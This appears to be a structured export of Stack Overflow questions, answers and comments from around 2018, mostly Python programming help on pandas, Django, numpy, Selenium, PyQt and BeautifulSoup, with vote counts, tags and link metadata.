has body: When all else fails, use a list comprehension: df['NewColumn'] = ['str_%s' %i for i in range(1, len(df) + 1)] Further speedups are possible if you cythonize your function: %load_ext Cython %%cython def gen_list(l, h): return ['str_%s' %i for i in range(l, h)] Note, this code is run on Python3.6.0 (IPython6.2.1). Solution improved thanks to @hpaulj in the comments. # @jezrael's fastest solution %%timeit df['NewColumn'] = np.arange(len(df['a'])) + 1 df['NewColumn'] = 'str_' + df['New_Column'].map(str) 547 ms ± 13.6 ms per loop (mean ± std. dev. of 7 runs, 1 loop each) # in this post - no cython %timeit df['NewColumn'] = ['str_%s'%i for i in range(n)] 409 ms ± 9.36 ms per loop (mean ± std. dev. of 7 runs, 1 loop each) # cythonized list comp %timeit df['NewColumn'] = gen_list(1, len(df) + 1) 370 ms ± 9.23 ms per loop (mean ± std. dev. of 7 runs, 1 loop each)
has comment: http://stackoverflow.com/comment/85942607
has comment: http://stackoverflow.com/comment/85942652
has comment: http://stackoverflow.com/comment/85942743
downvote count: 1
type: Answer
has comment: http://stackoverflow.com/comment/85942772
has comment: http://stackoverflow.com/comment/85942686
has comment: http://stackoverflow.com/comment/85942668
has comment: http://stackoverflow.com/comment/85942632
has comment: http://stackoverflow.com/comment/85942625
has comment: http://stackoverflow.com/comment/85942781
answers question: http://stackoverflow.com/q/49469556
score: 16
has comment: http://stackoverflow.com/comment/85942704
upvote count: 17

http://stackoverflow.com/comment/85971615
has text: create a directory named `static` with the same level as `manage.py` and then `add`, `commit`, `push`.
score: 0
type: Comment
comment on: http://stackoverflow.com/a/49484307
type: AnswerComment

http://stackoverflow.com/q/49468169
downvote count: 3
tagged with: python
score: -1
type: Question
tagged with: iterator
accepted answer: http://stackoverflow.com/a/49468224
upvote count: 2
answer count: 1
has comment: http://stackoverflow.com/comment/85940043
tagged with: python-3.6
favorite count: 0
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/85939983
has body: I have a small class that creates a building. I am wanting to learn more about iter. The following works: class Building(object): def __init__(self, floors): self._floors = [None] * floors def __setitem__(self, floor_number, data): self._floors[floor_number] = data def __getitem__(self, floor_number): return self._floors[floor_number] def __iter__(self): for floor_number in self._floors: yield self._floors[floor_number] building1 = Building(9) # Construct a building with 9 floors building1[0] = 'Reception' building1[1] = 'ABC Corp' building1[2] = 'DEF Inc' building1[3] = 'Apple' building1[4] = 'Cisco' building1[5] = 'Microsoft' building1[6] = 'Dell' building1[7] = 'EMC' building1[8] = 'HPE' ''' for floor in building1: print(building1[floor]) ''' print(building1[6]) Dell But if I un-comment out the for loop I get this: Traceback (most recent call last): File "C:/Users/Mark/PycharmProjects/main/main.py", line 28, in &lt;module&gt; for floor in building1: File "C:/Users/Mark/PycharmProjects/main/main.py", line 13, in __iter__ yield self._floors[floor_number] TypeError: list indices must be integers or slices, not str I understand that list indices have to be integers. What I am not getting is why this for loop is violating that restriction. What I am wanting to do is exercise the iter protocol and print out every floor in the building, not just a specific one.
has answer: http://stackoverflow.com/a/49468224
has title: Class using the iter protocol

http://stackoverflow.com/q/49518634
type: AnsweredQuestion
has title: Piecewise Fit not working - large dataset
has comment: http://stackoverflow.com/comment/86050343
answer count: 2
linked to: http://stackoverflow.com/q/29382903
score: 1
downvote count: 0
accepted answer: http://stackoverflow.com/a/49924670
upvote count: 1
tagged with: scipy
possible better answer: http://stackoverflow.com/a/50780926
favorite count: 0
has answer: http://stackoverflow.com/a/49924670
type: Question
tagged with: numpy
has comment: http://stackoverflow.com/comment/86045018
has answer: http://stackoverflow.com/a/50780926
tagged with: python
has body: I have been using a solution found in several places on stack overflow for fitting a piecewise function: from scipy import optimize import matplotlib.pyplot as plt import numpy as np x = np.array([1, 2, 3, 4, 5, 6, 7, 8, 9, 10 ,11, 12, 13, 14, 15], dtype=float) y = np.array([5, 7, 9, 11, 13, 15, 28.92, 42.81, 56.7, 70.59, 84.47, 98.36, 112.25, 126.14, 140.03]) def piecewise_linear(x, x0, y0, k1, k2): return np.piecewise(x, [x &lt; x0], [lambda x:k1*x + y0-k1*x0, lambda x:k2*x + y0-k2*x0]) p, e = optimize.curve_fit(piecewise_linear, x, y) xd = np.linspace(-5, 30, 100) plt.plot(x, y, ".") plt.plot(xd, piecewise_linear(xd, *p)) plt.show() (for example, here: How to apply piecewise linear fit in Python?) The first time I try it in the console I get an OptimizeWarning. OptimizeWarning: Covariance of the parameters could not be estimated category=OptimizeWarning) After that I just get a straight line for my fit. It seems as though there is clearly a bend in the data that the fit isn't following, although I cannot figure out why. For the dataset I am using there are about 3200 points in each x and y, is this part of the problem? Here are some fake data that kind of simulate mine (same problem occurs where fit is not piecewise): x = np.append(np.random.uniform(low=10.0, high=40.2, size=(1500,)), np.random.uniform(low=-10.0, high=20.2, size=(1500,))) y = np.append(np.random.uniform(low=-3000, high=0, size=(1500,)), np.random.uniform(low=-2000, high=1000, size=(1500,)))
has comment: http://stackoverflow.com/comment/86045445

http://stackoverflow.com/comment/85962647
comment on: http://stackoverflow.com/a/49479801
has text: @IamPyre You think you are, but you are not.
type: Comment
type: AnswerComment
score: 1

http://stackoverflow.com/comment/85936465
comment on: http://stackoverflow.com/a/49460986
type: Comment
score: 0
has text: Just as a side note, in the meanwhile, I did manage to do the above thingies using AutoIT :D, but yes if I can have a clean python way to do it, it would be preferrable :)
type: AnswerComment

http://stackoverflow.com/comment/86135662
comment on: http://stackoverflow.com/q/49563207
has text: Well guys. Recheck my parameters and I figured out that I have sent the wrong parameters.
type: Comment
score: 0
type: QuestionComment

http://stackoverflow.com/comment/85994622
type: QuestionComment
has text: The package you link to seems to be based on matplotlib. So inside their sourcecode you will find the definition of that grid.
score: 0
comment on: http://stackoverflow.com/q/49495130
type: Comment

http://stackoverflow.com/comment/87085786
comment on: http://stackoverflow.com/q/49443086
type: Comment
type: QuestionComment
has text: @BhaskarDhariyal, I havent got any solution, yet.
score: 0

http://stackoverflow.com/comment/86004180
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/49478196
has text: @MartinEvans Yes, but pandas_dataset doesn't contains the info that I want to store. I have to process it before by calling `get_phonema(row, index)` and also I cannot process it all at once because that will be tons of GBs
type: Comment

http://stackoverflow.com/comment/86156212
type: AnswerComment
has text: In each iterations of the loop, `k` and `v` will be one key-value pair of the dictionary. Yeah, if `x` is `sweets`, then corresponding key `k` (`snacks`) will be appended to `lst`. It does not stop there. It looks for each key-value pairs in each iterations, check if `x` is in value, if so append the corresponding key `k` to `lst`. Did you get it now?
comment on: http://stackoverflow.com/a/49572995
type: Comment
score: 0

http://stackoverflow.com/comment/86020550
score: 0
has text: This solved my issue. Thanks, ralf. Although I would like to know why one method works and not the other.
type: Comment
comment on: http://stackoverflow.com/a/49468437
type: AnswerComment

http://stackoverflow.com/q/49505080
type: Question
tagged with: python-3.x
has answer: http://stackoverflow.com/a/77597882
score: 26
downvote count: 0
has answer: http://stackoverflow.com/a/49505103
accepted answer: http://stackoverflow.com/a/49505103
tagged with: dataframe
tagged with: python
has title: Python Pandas: How to set the name of MultiIndex?
has body: My dataframe looks like below: I want to set the name of red box in image as 'Ticker'. How can I do that?
type: AnsweredQuestion
possible better answer: http://stackoverflow.com/a/77597882
answer count: 2
tagged with: pandas
upvote count: 26
tagged with: multi-index
favorite count: 0

http://stackoverflow.com/comment/94836803
type: Comment
type: AnswerComment
score: 1
has text: Have you found a workaround for Conjugate Gradient entirely in TF (and avoiding eager execution)?
comment on: http://stackoverflow.com/a/49705763

fips
tags question: http://stackoverflow.com/q/49493537
tags question: http://stackoverflow.com/q/49533149
type: Tag
tag name: fips

http://stackoverflow.com/q/49465514
has comment: http://stackoverflow.com/comment/85934222
type: Question
score: 0
has body: I have saved arrays as npy with sizes around 2GB. Can I somehow load only specific columns,rows with numpy.load ? I did not find a command for that or is there a workaround for that case?
has answer: http://stackoverflow.com/a/49465770
tagged with: python
linked to: http://stackoverflow.com/q/4335289
tagged with: load
linked to: http://stackoverflow.com/q/28419453
has title: Python: Load numpy arrays (npys) with specific columns
tagged with: numpy
type: UnansweredQuestion
tagged with: arrays
answer count: 1

http://stackoverflow.com/comment/86090411
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/49540490
has text: I've been trying since you left, still no result... latest attempt: https://ghostbin.com/paste/fpo9e. Someone, please help.
type: Comment

http://stackoverflow.com/q/49529542
has body: This is my XML file: &lt;?xml version="1.0" encoding="UTF-8"?&gt; &lt;edmx:Edmx xmlns:edmx="http://docs.oasis-open.org/odata/ns/edmx" Version="4.0"&gt; &lt;edmx:Reference Uri="http://docs.oasis-open.org/odata/odata/v4.0/errata03/csd01/complete/vocabularies/Org.OData.Measures.V1.xml"&gt; &lt;edmx:Include Namespace="Org.OData.Measures.V1" Alias="Measures"/&gt; &lt;/edmx:Reference&gt; &lt;edmx:Reference Uri="http://redfish.dmtf.org/schemas/v1/RedfishExtensions_v1.xml"&gt; &lt;edmx:Include Namespace="RedfishExtensions.v1_0_0" Alias="Redfish"/&gt; &lt;edmx:Include Namespace="Validation.v1_0_0" Alias="Validation"/&gt; &lt;/edmx:Reference&gt; &lt;edmx:Reference Uri="http://redfish.dmtf.org/schemas/v1/Resource_v1.xml"&gt; &lt;edmx:Include Namespace="Resource"/&gt; &lt;edmx:Include Namespace="Resource.v1_0_0"/&gt; &lt;edmx:Include Namespace="Resource.v1_1_0"/&gt; &lt;/edmx:Reference&gt; &lt;edmx:Reference Uri="http://redfish.dmtf.org/schemas/v1/Thermal_v1.xml"&gt; &lt;edmx:Include Namespace="Thermal"/&gt; &lt;/edmx:Reference&gt; &lt;edmx:Reference Uri="http://redfish.dmtf.org/schemas/v1/Power_v1.xml"&gt; &lt;edmx:Include Namespace="Power"/&gt; &lt;/edmx:Reference&gt; &lt;/edmx:Edmx&gt; I want to get value of Uri in edmx:Reference attribute using recursive search of XML. My question is how to get values of all Uri keys in edmx:Reference attributes of XML file?'
has comment: http://stackoverflow.com/comment/86064880
score: 1
upvote count: 1
has comment: http://stackoverflow.com/comment/86065140
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/86064956
accepted answer: http://stackoverflow.com/a/49530243
has answer: http://stackoverflow.com/a/49530243
possible better answer: http://stackoverflow.com/a/49530375
has comment: http://stackoverflow.com/comment/86064914
tagged with: python
has answer: http://stackoverflow.com/a/49530375
type: AnsweredQuestion
answer count: 2
tagged with: xml-parsing
has comment: http://stackoverflow.com/comment/86065218
has title: XML recursive search and get value of specific key in attribute
downvote count: 0

http://stackoverflow.com/comment/85943380
type: Comment
score: 0
has text: Isn't it should be `'r'` like: `with open('ass1//data//reviews_Digital_Music.json', 'r') as f:`
type: QuestionComment
comment on: http://stackoverflow.com/q/49470249

http://stackoverflow.com/comment/85970298
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/49483700
has text: If you don't want the original indices, use the other solutions.
score: 0

http://stackoverflow.com/comment/86057851
score: 0
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/49443544
has text: @Rafiq, I am really surprised, `pd.Series([i in j for i, j in zip(df.A, df.B)], index=x.index)` seems for me simliest. It zip both columns to tuples (`print(list(zip(df.A, df.B)))`) and then check like my apply solution. I think this is the most prefer solution, especially easiest and also fastest. Why do you think it is most comlicated? Thank you for explanation.

http://stackoverflow.com/comment/85973031
type: QuestionComment
score: 0
has text: tried that too. No use
comment on: http://stackoverflow.com/q/49485198
type: Comment

http://stackoverflow.com/q/49451392
tagged with: python
tagged with: docker
answer count: 0
downvote count: 0
upvote count: 1
tagged with: firefox
has body: Locally and Dockerized i use the same versions Python 2.7 + Selenium (i think latest where can i see it?) + Firefox (latest 59.01) WORK ONLY FIREFOX LOCAL: print returns correctly every second the right value //click button on webpage elementbutton = driver.find_element_by_class_name("buttonclassname") elementbutton.click() (some code Blabla...) //Read in a loop value from web element progressvalue = driver.find_element_by_class_name("progress").text print ("progress", progressvalue) WORK FIREFOX AND CHROME LOCAL: print returns correctly every second the right value //click button on webpage elementbutton = driver.find_element_by_class_name("buttonclassname") //this click does work in firefox and in chrome but uses Javascript click driver.execute_script("arguments[0].click();", elementbutton) (some code Blabla...) //Read in a loop value from web element progressvalue = driver.find_element_by_class_name("progress").text print ("progress", progressvalue) __ WORK NOT IN FIREFOX &amp; NOT IN CHROME DOCKERIZED //click button on webpage elementbutton = driver.find_element_by_class_name("buttonclassname") elementbutton.click() (some code Blabla...) //Read in a loop value from web element progressvalue = driver.find_element_by_class_name("progress").text print ("progress", progressvalue) WORK ONLY CHROME DOCKERIZED //click button on webpage elementbutton = driver.find_element_by_class_name("buttonclassname") driver.execute_script("arguments[0].click();", elementbutton) (some code Blabla...) //Read in a loop value from web element progressvalue = driver.find_element_by_class_name("progress").text print ("progress", progressvalue) print returns the correct Value ONLY in chrome, in Firefox it returns always 0 the element does not refresh in Firefox it seems javascript maybe does not work or is not enabled?? Why??is this a gecko driver bug?
tagged with: selenium
has title: Python Locally Selenium Firefox code work but Dockerized not! Element Value does not Refresh always 0
tagged with: google-chrome
has comment: http://stackoverflow.com/comment/85905750
has comment: http://stackoverflow.com/comment/85906492
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/85905236
type: UnansweredQuestion
score: 1

http://stackoverflow.com/comment/86035708
type: QuestionComment
comment on: http://stackoverflow.com/q/49515322
has text: make `price` accessible to both
score: 0
type: Comment

http://stackoverflow.com/comment/86181698
score: 0
type: AnswerComment
has text: @Alura the connection and folder creation are not related, it maybe something else. cant tell until i see the full error and the code.
comment on: http://stackoverflow.com/a/49586674
type: Comment

http://stackoverflow.com/comment/86368756
type: AnswerComment
comment on: http://stackoverflow.com/a/49590357
score: 0
has text: Yes, I'm still experiencing the same errors. It doesn't import src.models.search.
type: Comment

http://stackoverflow.com/a/49505445
type: Answer
answers question: http://stackoverflow.com/q/49503235
score: -1
has comment: http://stackoverflow.com/comment/86058087
upvote count: 0
has body: Clear your django migration cache before each try. find . -path "*/migrations/*.pyc" -delete
has comment: http://stackoverflow.com/comment/86090979
downvote count: 1
has comment: http://stackoverflow.com/comment/86039056

http://stackoverflow.com/q/49543522
answer count: 1
accepted answer: http://stackoverflow.com/a/49544118
favorite count: 0
type: Question
tagged with: django-templates
upvote count: 1
tagged with: django
tagged with: python
downvote count: 1
has answer: http://stackoverflow.com/a/49544118
has body: So I am currently setting some user permissions upon creation to Django user's. I would like to display a table of all the users as well as information about them such as username, password permissions etc.. The code to do this look's similar to this. Status Username First Name Last Name Email Last Login Expiry Date Permission {% for user in userlist %} {{user.username}} {{user.first_name}} {{user.last_name}} {{user.email}} {{user.last_login}} {{user.userprofile.date_expiry}} {% load user_perm %} {% if user|check_permission:'2018_map_view' %} I have 2018 access {% endif %} {% if user|check_permission:'2017_map_view' %} I have 2017 access {% endif %} {% endfor %} I have on the bottom the attempted code to display each user permission in the table however it does not seem to be working. I have my templatetags code that looks like this from django.template import Library register = Library() @register.filter() def check_permission(user, permission): permission = user.has_perm(permission) print(permission) return user.has_perm(permission) I believe the problem lies within my user in userList and it is having problem looping through all user's but I am unsure how to fix this. Any insite would be greatly appreciated.
type: AnsweredQuestion
score: 0
has title: How to display User Permission in Django template
tagged with: http://stackoverflow.com/tag/html

http://stackoverflow.com/comment/86189531
comment on: http://stackoverflow.com/a/49590773
type: Comment
type: AnswerComment
score: 3
has text: @jpp: I can't let that pass :) just `for z in range(2,int(y**0.5)+1)` else you're wasting CPU power looking for divisors that cannot exist.

http://stackoverflow.com/comment/86470621
comment on: http://stackoverflow.com/q/49514038
type: QuestionComment
has text: What is the BYTE count expected to be gathered with FETCHALL? Are U willing to supply any of the other information requested on first Apr 2 request? Rather than asking 10 more questions to get the information we need to consider possible causes.
score: 0
type: Comment

http://stackoverflow.com/a/49592402
score: 0
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/49563153
answers question: http://stackoverflow.com/q/49563153
type: Answer
has body: I've find something it's not exactly what I wanted but it works : from bs4 import BeautifulSoup import requests import re page_url = 'https://paris-sportifs.pmu.fr/' page = requests.get(page_url) soup = BeautifulSoup(page.text, 'html.parser') soupdiv = soup.find_all('div', class_ = 'time_group', attrs={ 'data-time_group' : re.compile("group[1-9]") }) for div in soupdiv: test = div.find("a", {"class":"trow--event tc-track-element-events"}) print(test.text) I doing my find from the current div in the for. thanks you.

http://stackoverflow.com/q/49589983
has comment: http://stackoverflow.com/comment/86187788
has comment: http://stackoverflow.com/comment/86187824
score: 2
has title: Bulk create fails with 1 milion rows
has comment: http://stackoverflow.com/comment/86188590
accepted answer: http://stackoverflow.com/a/49590274
has comment: http://stackoverflow.com/comment/86188550
answer count: 1
downvote count: 0
tagged with: django-models
has answer: http://stackoverflow.com/a/49590274
has comment: http://stackoverflow.com/comment/86188690
has comment: http://stackoverflow.com/comment/86187957
has comment: http://stackoverflow.com/comment/86188029
favorite count: 0
type: Question
has body: For learning purposes I've created csv files with 10 000 rows and 2nd file with 1 million rows, 4 columns each. The idea is to add the data to the table most efficient. ( I am using SQL Database) First approach - @transaction.atomic @transaction.atomic def insert(request): data_reader = csv.reader(open(csv_filepathname), delimiter=',', quotechar='"') for row in data_reader: nela = Nela() # my model name nela.name = row[0] nela.last = row[1] nela.almost = row[2] nela.number = row[3] nela.save() insert(request) 1) For 10 000 rows it takes 2.1006858348846436 to insert data 2) For 1 million rows it was something around ~220.xx secs My 2nd approach is usage of bulk_create() def insert(request): data_reader = csv.reader(open(csv_filepathname), delimiter=',', quotechar='"') header = next(data_reader) Nela.objects.bulk_create([Nela(name=row[0], last=row[1], almost=row[2], number=row[3]) for row in data_reader]) insert(request) 1) for 10 000 rows it takes 0.4592757225036621 which is cool and over 4 times faster then with @transaction.atomic 2) However, for 1 million rows it fails and it outruns the limit of the SQL base. Does anyone have any idea why such bug appears ? I've been reading django docs bulk_create but besides annotation about batch_size for SQL lite I can't find anything useful.
tagged with: python-3.x
has comment: http://stackoverflow.com/comment/86188197
has comment: http://stackoverflow.com/comment/86188368
has comment: http://stackoverflow.com/comment/86188190
upvote count: 2
has comment: http://stackoverflow.com/comment/86188269
tagged with: django
tagged with: python
has comment: http://stackoverflow.com/comment/86188787
has comment: http://stackoverflow.com/comment/86187764
has comment: http://stackoverflow.com/comment/86187808
type: AnsweredQuestion

http://stackoverflow.com/a/49498497
upvote count: 3
has comment: http://stackoverflow.com/comment/86000985
has comment: http://stackoverflow.com/comment/86000989
downvote count: 0
type: Answer
has comment: http://stackoverflow.com/comment/86000938
score: 3
has body: I would actually use (pd.DataFrame([True, 'a']) == True).all().item() This way, you're checking for the value of the object, not just checking the "truthy-ness" of it. This seems perfectly pythonic to me because you're explicitly checking for the value of the object, not just whether or not it's a truthy value.
answers question: http://stackoverflow.com/q/49498466

http://stackoverflow.com/comment/125104560
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/49448065
score: 0
has text: BTW, couldn't one do `param.copy_(transformed_param)` to avoid looking up `state_dict[name]` again? I don't think `state_dict` overrides `__setattr__` anyways... in fact it's just an `OrderedDict` that is created only when `net.state_dict()` is called.

http://stackoverflow.com/q/49491995
tagged with: pandas
has title: Panda help on a particular request
downvote count: 3
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/85987919
accepted answer: http://stackoverflow.com/a/49492356
upvote count: 0
score: -3
answer count: 1
has comment: http://stackoverflow.com/comment/86008279
has answer: http://stackoverflow.com/a/49492356
has body: I apologize for the uninformative title but I need help for a pandas request that I could not resume in a small title. So I have a dataframe of some orders containing columns for OrderId ClientId OrderDate ReturnQuantity I would like to add a boolean column HasReturnedBefore, which is True only if a customer with the same ClientId has made one or more previous order (OrderDate inferior), with a ReturnQuantity greater than 0. I don't how to take that problem, I am not enough familiar with all the subtleties of pandas at the moment.
tagged with: python
type: AnsweredQuestion

http://stackoverflow.com/comment/86052620
type: AnswerComment
comment on: http://stackoverflow.com/a/49505679
has text: The request itself works, trying to use `string_data['key1']` gets the error `TypeError: string indices must be integers`. Trying `string_data.get('key1')` has the error `AttributeError: 'str' object has no attribute 'get'`. Trying `json.loads(string_data)` gets the error `json.decoder.JSONDecodeError: Expecting value: line 1 column 1 (char 0)`. I've found a solution using regex' and other things to solve the issue but still not good I guess, using `request.form.get('key1')` doesn't crash but it prints `None`.
type: Comment
score: 0

http://stackoverflow.com/comment/86170316
score: 0
type: Comment
type: AnswerComment
has text: So it worked thanks!!! Do you also know how to loop this p.py script ?
comment on: http://stackoverflow.com/a/49580924

http://stackoverflow.com/a/66990405
has body: Based on @anatolii-chmykhalo answer This returns the altnames for DNS, based on the string representation. def get_dns_altnames(req: OpenSSL.crypto.X509Req): &quot;&quot;&quot; Get DNS altnames from a X509Req certificate &quot;&quot;&quot; extensions = (ext for ext in req.get_extensions() if ext.get_short_name() == b'subjectAltName') dns_names = [] for ext in extensions: for alt in str(ext).split(', '): if alt.startswith('DNS:'): dns_names.append(alt[4:]) return dns_names
answers question: http://stackoverflow.com/q/49491732
type: Answer
downvote count: 0
score: 1
upvote count: 1

http://stackoverflow.com/comment/86196446
type: AnswerComment
score: 0
comment on: http://stackoverflow.com/a/49584423
has text: You could just change the reindex part instead of using df.columns which is all columns just use ['Doesn't Matter','Whatever','...]
type: Comment

http://stackoverflow.com/a/49480425
type: AcceptedAnswer
type: Answer
has body: You can get this using a nice, compact CSS selector. They are faster than XPath and I find them much easier to read. products = driver.find_elements_by_css_selector("meta[itemprop='name']") for product in products: print(product.get_attribute("content")) We're basically looking for this META tag &lt;meta itemprop="name" content="COACH X KEITH HARING ACADEMY BACKPACK"&gt; using the itemprop attribute and then pulling the content attribute.
accepted answer of: http://stackoverflow.com/q/49479212
score: 0
answers question: http://stackoverflow.com/q/49479212

http://stackoverflow.com/q/49499352
favorite count: 0
tagged with: replace
accepted answer: http://stackoverflow.com/a/49499458
type: Question
has answer: http://stackoverflow.com/a/49499490
has answer: http://stackoverflow.com/a/49499458
downvote count: 0
has body: I have a table with a lot of rows, and i need to change all the first " " space for "h" the second space for "m" and add at last char "s" import pandas as pd d = {'RA' : ['11 50 10.4747', "11 50 10.2641","11 50 10.0534", "11 50 09.8428"],'DEC':["+26 01 09.559","+26 01 10.770", "+26 01 11.980","+26 01 13.191"]} df=pd.DataFrame(d) for i in range(len(df)): RA = df['RA'][i] RA = str.replace(RA, " ", "h", 1) RA = str.replace(RA, " ", "m", 1) RA += "s" df['RA'][i] = RA DEC = df['DEC'][i] DEC = str.replace(DEC, " ", "d", 1) DEC = str.replace(DEC, " ", "m", 1) DEC += "s" df['DEC'][i] = DEC I have made this code, but for my use is getting a slow. With this code I change my data frame from: DEC RA +26 01 09.559 11 50 10.4747 +26 01 10.770 11 50 10.2641 +26 01 11.980 11 50 10.0534 +26 01 13.191 11 50 09.8428 To This: DEC RA 0 +26d01m09.559s 11h50m10.4747s 1 +26d01m10.770s 11h50m10.2641s 2 +26d01m11.980s 11h50m10.0534s 3 +26d01m13.191s 11h50m09.8428s Is there any function that i can do this? I tried using df.replace, but it replaces all " " in the table... thanks for now
upvote count: 1
tagged with: string
has title: Insert characters at multiple positions in a dataframe column
tagged with: pandas
type: AnsweredQuestion
possible better answer: http://stackoverflow.com/a/49499465
answer count: 3
tagged with: dataframe
tagged with: python
score: 1
has answer: http://stackoverflow.com/a/49499465

http://stackoverflow.com/q/49552358
linked to: http://stackoverflow.com/q/48897586
accepted answer: http://stackoverflow.com/a/49552775
favorite count: 0
has title: Web scraping (Google) using BeautifulSoup
duplicate of: http://stackoverflow.com/q/48897586
answer count: 2
upvote count: 1
has body: If I google How old is Messi, it should give me output: 30 but it instead answers me None. I'm using Python 3. import time from bs4 import BeautifulSoup import requests search=input("What do you want to ask: ") search=search.replace(" ","+") link="https://www.google.com/search?q="+search print(link) source=requests.get(link).text soup=BeautifulSoup(source,"html.parser") print(soup.prettify()) answer=soup.find('div',class_="Z0LcW") print(answer.text)
tagged with: web-scraping
linked to: http://stackoverflow.com/q/27652543
downvote count: 1
has answer: http://stackoverflow.com/a/49552762
possible better answer: http://stackoverflow.com/a/49552762
has answer: http://stackoverflow.com/a/49552775
tagged with: beautifulsoup
type: Question
duplicate of: http://stackoverflow.com/q/27652543
type: AnsweredQuestion
score: 0
has comment: http://stackoverflow.com/comment/86112220
tagged with: python

http://stackoverflow.com/comment/85950906
type: Comment
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/49474081
has text: no.. the code i mentioned above was perfect.. but i was asked to use that function "check_guess()" in there next problem i just mentioned below the code. i just cant make that program using the function i created above

http://stackoverflow.com/comment/86031145
score: 1
has text: Related reading: [Everybody thinks about garbage collection the wrong way](https://blogs.msdn.microsoft.com/oldnewthing/20100809-00/?p=13203).
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/49512990

http://stackoverflow.com/comment/86013326
comment on: http://stackoverflow.com/q/49504611
type: Comment
type: QuestionComment
score: 0
has text: Can you strip this down to a [mcve] that other people can run without having to have your `BorderWidget` class that still reproduces the problem? I can't see anything wrong here, and I even generated a mock `BorderWidget` and ran your code against it and I get no error.

http://stackoverflow.com/a/57400673
answers question: http://stackoverflow.com/q/49567804
downvote count: 1
score: 4
has body: If you're using Python libraries, you can get rid of botocore, boto3 as they are already present in AWS's lambdas functions.
upvote count: 5
type: Answer
has comment: http://stackoverflow.com/comment/103058460

http://stackoverflow.com/q/49537968
tagged with: pyqt4
tagged with: python
has body: My main objective is to show a constantly evolving value on a Qt-window textEdit. (this window contains only a checkBox and a textEdit). Sadly, I cannot click on the checkbox and the window is frozen until I shutdown the terminal. import sys from threading import Thread from random import randint import time from PyQt4 import QtGui,uic class MyThread(Thread): def __init__(self): Thread.__init__(self) #function to continually change the targeted value def run(self): for i in range(1, 20): self.a = randint (1, 10) secondsToSleep = 1 time.sleep(secondsToSleep) class MyWindow(QtGui.QMainWindow,Thread): def __init__(self): Thread.__init__(self) super(MyWindow,self).__init__() uic.loadUi('mywindow.ui',self) self.checkBox.stateChanged.connect(self.checkeven) self.show() #i show the value only if the checkbox is checked def checkeven(self): while self.checkBox.isChecked(): self.textEdit.setText(str(myThreadOb1.a)) # Run following code when the program starts if __name__ == '__main__': app = QtGui.QApplication(sys.argv) # Declare objects of MyThread class myThreadOb1 = MyThread() myThreadOb2 = MyWindow() # Start running the threads! myThreadOb1.start() myThreadOb2.start() sys.exit(app.exec_()) At the moment I'm using a thread to set a random value to a, but at the end it is supposed to be a bit more complex as I will have to take the values from an automation. Do you have any clue why my code is acting like this? Thank you very much for your help.
type: AnsweredQuestion
tagged with: pyqt
score: 0
has title: window freezes when I try to show an evolving value in a Qt window using threads with python
has answer: http://stackoverflow.com/a/49538451
tagged with: multithreading
answer count: 1
accepted answer: http://stackoverflow.com/a/49538451
type: Question

http://stackoverflow.com/comment/86172230
has text: @Prune I am familiar with the rules, it's just that I have been on this problem for the past 3 days, so asking for help on this site was the very last resort.
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/49581835
score: 0

http://stackoverflow.com/comment/89362724
type: QuestionComment
comment on: http://stackoverflow.com/q/49476903
has text: Thanks for response @spaceDog
score: 0
type: Comment

http://stackoverflow.com/q/49567351
linked to: http://stackoverflow.com/q/40629794
score: 0
tagged with: django-socialauth
has title: Django Social Auth Pipeline-- Checking for Duplicate Emails
tagged with: python
has body: So i'm piggybacking on this post here: Python Social Auth duplicating e-mails for different users Here's my issue: I provide a user with ability to signup either via regular email sign up, facebook auth or twitter auth. I'm also using same package Social Django Auth App for the user login pages. I realized that a user might try sign up with a Facebook account (associated to one email) and then try again later to register with Twitter (which could have the same email address). Based on the aforementioned post, I added a function to check for duplicate emails like so: def check_email_exists(request, backend, details, uid, user=None, *args, **kwargs): email = details.get('email', '') provider = backend.name # check if social user exists to allow logging in (not sure if this is necessary) social = backend.strategy.storage.user.get_social_auth(provider, uid) # check if given email is in use count = User.objects.filter(username=email).count() success_message = messages.success(request, 'Sorry User With That Email Already Exists') # user is not logged in, social profile with given uid doesn't exist # and email is in use if not user and not social and count: return HttpResponseRedirect(reverse('accounts:sign_up', success_message)) and my pipeline with the function: SOCIAL_AUTH_PIPELINE = ( 'social_core.pipeline.social_auth.social_details', 'social_core.pipeline.social_auth.social_uid', 'social_core.pipeline.social_auth.auth_allowed', 'social_core.pipeline.social_auth.social_user', 'social_core.pipeline.user.get_username', 'dealmazing.utils.check_email_exists', 'social_core.pipeline.social_auth.associate_by_email', # &lt;--- enable this one 'social_core.pipeline.user.create_user', 'social_core.pipeline.social_auth.associate_user', 'social_core.pipeline.social_auth.load_extra_data', 'social_core.pipeline.user.user_details', ) UPON Testing--if i go to sign up with Twitter account of an already registered email address--it works. YAY! BUT the main issue comes when i go to try t…
tagged with: python-social-auth
has comment: http://stackoverflow.com/comment/119909533
has answer: http://stackoverflow.com/a/49573438
type: Question
answer count: 2
has answer: http://stackoverflow.com/a/67839886
type: UnansweredQuestion
tagged with: django

http://stackoverflow.com/q/49467553
answer count: 1
tagged with: tabular
has answer: http://stackoverflow.com/a/49467995
accepted answer: http://stackoverflow.com/a/49467995
favorite count: 0
type: Question
score: 3
upvote count: 5
tagged with: python
has title: How to select columns that are highly correlated with one specific column in a dataframe
type: AnsweredQuestion
has body: I have a dataframe which has over 100 columns, with which I am trying to build a model. In this case, one column (A) in this dataframe is considered as a response and all the other columns (B,C,D, etc.) are predictors. So I am trying to select all the columns that are correlated to column A based on correlation factor (say >0.2). I already generated a heatmap with all the correlation factors between each pair of the columns. But can I have a quick method in pandas to get all the columns with a collrelation factor over 0.2 (which I will adjust of course if needed) to column A? Thanks in advance!
tagged with: correlation
downvote count: 2
tagged with: pandas

http://stackoverflow.com/comment/85995131
comment on: http://stackoverflow.com/q/49495273
has text: Why did it not meet your purpose?
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/85938553
type: Comment
type: AnswerComment
